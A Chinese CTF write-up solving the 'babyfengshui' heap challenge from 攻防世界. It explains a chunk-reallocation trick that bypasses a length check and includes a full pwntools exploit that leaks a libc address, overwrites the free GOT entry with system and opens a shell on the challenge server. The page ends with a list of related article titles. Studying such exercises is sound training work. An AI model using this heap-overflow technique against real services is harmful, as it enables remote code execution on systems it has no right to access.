入门级的堆题,拿来学习还是不错的。

做这道题之前,最好还是先对堆的数据结构有一定的了解。
拿到题目,下载附件,查看保护。

一个32位的程序,开了NX和Canary保护,这都不是重头戏毕竟这题不用栈,栈保护只是锦上添花罢了。
把文件拖进IDA查看逻辑:

可以看到,典型的菜单题,这很pwn,实现了增删改查四个功能,像极了C语言程序设计的期末结业程序设计题哈哈哈,暴露年龄。
进入增加用户功能:

可以看到,程序先malloc一个块用于保存数据,再malloc一个块作为结构体,用于保存name和description,name为124,也就是0x7c,注意他们都是指针哦。

这里有个保护就是v3+*ptr[a1]<=*ptr[a1]-4才行
意思就是你写入的数据不能把后面的结构体给覆盖了,但是这却没有考虑堆申请的规则。

题目思路:

我们首先申请两个堆,然后释放掉一个,在申请一个大的,根据堆的数据结构申请规则,就会产生绕过保护的现象,如下图:

这样我们就绕过了题目的保护,我们就可以利用struct的指针改写got表中的内容了,这就是简单的堆溢出了。
完整exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',40079)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf7659750)
def add_note(size,length,text):p.recvuntil('Action: ')p.sendline('0')p.recvuntil('size of description: ')p.sendline(str(size))p.recvuntil('name: ')p.sendline('AAA')p.recvuntil('text length: ')p.sendline(str(length))p.recvuntil('text: ')p.sendline(text)
def delete_note(idx):p.recvuntil('Action: ')p.sendline('1')p.recvuntil('index: ')p.sendline(str(idx))
def display_note(idx):p.recvuntil('Action: ')p.sendline('2')p.recvuntil('index: ')p.sendline(str(idx))
def update_note(idx,length,text):p.recvuntil('Action: ')p.sendline('3')p.recvuntil('index: ')p.sendline(str(idx))p.recvuntil('text length: ')p.sendline(str(length))p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr))            #利用description的指针是指向got表的原理,改变description指针指向的地址的值改为system函数
delete_note(2)
p.interactive()

(攻防世界)(pwn)babyfengshui相关推荐

  1. 攻防世界 pwn进阶区----No.012 babyfengshui 解题思路

    攻防世界 pwn进阶区----No.012 babyfengshui 解题思路 1.本题解题思路 1.先期工作 1.运行程序查看基本逻辑 创建用户 展示用户 更新用户 删除用户 到这里就可以猜测这题有 ...

  2. 攻防世界 Pwn 进阶 第二页

    00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...

  3. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  5. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  6. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  7. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

  8. [攻防世界 pwn]——反应釜开关控制

    [攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

  9. [攻防世界 pwn]——pwn-100

    [攻防世界 pwn]--pwn-100 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下 IDA中 sub_40063D函数的作用就是读入200个字符 ...

  10. [攻防世界 pwn]——pwn-200

    [攻防世界 pwn]--pwn-200 题目地址: https://adworld.xctf.org.cn/ 题目: peak小知识 ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一 ...

最新文章

  1. Heartbeat V2.x双机热备安装
  2. Android offsetTopAndBottom 和 setTranslationY 的作用 和区别
  3. 酷欧天气(CoolWeather)应用源码
  4. SpringBoot中使用 Druid 数据库连接池, 后台SQL监控无效
  5. php的pdo如何访问SQLserver_php使用pdo连接sqlserver示例分享
  6. 惠普暗影精灵3清灰_如何评价惠普笔记本这几年的表现?尤其是暗影精灵系列。...
  7. 利用Cydia Substrate进行Android HOOK(二)
  8. Spark学习之路 (六)Spark Transformation和Action
  9. mysql创建存储过程意义_浅谈一下mySql中创建存储过程
  10. 【转】Apache+php+mysql在windows下的安装与配置图解(最新版)
  11. 医院信息化建设,该何去何从?
  12. 【IC7】FPGA最高工作频率的计算方法;FPGA最大输出频率;查看handbook的PLL最高频率;Fout_ext;Fout两个参数;FPGA输出1ns脉冲
  13. iOS判断第三方SDK是否含有广告位
  14. 【Python笔记】Pandas时区处理
  15. GStreamer和gst-omx插件
  16. swing-组件Collapse折叠面板2
  17. 制作FlappyBird时出现的一些问题
  18. 18.8.17 考试总结
  19. 仿小米天气预报未来几天趋势预报折线图
  20. 传统文本分类和基于深度学习文本分类

热门文章

  1. 类与对象实验:定义一个描述学生(Student)基本情况的类,数据成员包括姓名(name)、学号(num)、数学成绩(mathScore)、英语成绩(englishScore)、人数(count)……
  2. colmap 稀疏重建的相机轨迹能调吗? 相机轨迹图标太大了
  3. Iterator 源码
  4. Window下安装脑图像处理软件FSL
  5. 如何向docker容器内传文件
  6. Matlab 使用solve求解方程,出现未知数z和root
  7. 微信小程序生成二维码带参海报
  8. HTML标签属性大全
  9. ASP编程自动采集程序
  10. win10系统VS2019配置点云库PCL1.12.1的教程与经验总结